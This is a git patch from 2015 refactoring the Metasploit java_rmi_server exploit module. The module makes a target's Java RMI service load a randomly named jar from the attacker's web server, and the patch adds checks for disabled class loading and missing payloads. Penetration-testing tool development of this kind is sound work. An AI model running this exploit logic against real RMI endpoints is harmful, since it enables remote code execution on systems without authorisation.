From fa5cd928a10f398a552adc5bbf36282e066a99d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 8 Jan 2015 16:04:56 -0600 Subject: [PATCH] Refactor exploit to use the mixin --- lib/msf/rmi/client.rb | 7 ++- .../exploits/multi/misc/java_rmi_server.rb | 60 +++++++++++++++---- 2 files changed, 53 insertions(+), 14 deletions(-) diff --git a/lib/msf/rmi/client.rb b/lib/msf/rmi/client.rb index 21073af7b5..bff56c25fa 100644 --- a/lib/msf/rmi/client.rb +++ b/lib/msf/rmi/client.rb @@ -101,7 +101,12 @@ module Msf # @return [String] def safe_get_once(nsock = sock) data = '' - res = nsock.get_once + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + until res.nil? || res.length < 1448 data << res begin diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index a97a87fca7..811dcfc0f6 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -113,24 +113,32 @@ class Metasploit3 < Msf::Exploit::Remote end def primer - print_status("#{peer} - Sending RMI Header...") connect - begin - send_header - rescue ::RuntimeError - print_error("#{peer} - Filed to negotiate RMI protocol") - disconnect - return + + print_status("#{peer} - Sending RMI Header...") + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") end - # Determine if the instance allows remote class loading - print_status("#{peer} - Sending RMI Call...") jar = rand_text_alpha(rand(8)+1) + '.jar' new_url = get_uri + '/' + jar - begin - return_data = send_call(call_data: build_gc_call_data(new_url)) - rescue ::RuntimeError - fail_with(Failure::Unknown, "#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + + print_status("#{peer} - Sending RMI Call...") + send_call(call_data: build_gc_call_data(new_url)) + return_data = recv_return + + if return_data.nil? && !session_created? + fail_with(Failure::Unknown, 'RMI Call failed') + end + + if return_data && loader_disabled?(return_data) + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + end + + if return_data && class_not_found?(return_data) + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect @@ -162,4 +170,30 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def loader_disabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def class_not_found?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + return true + end + end + + false + end + end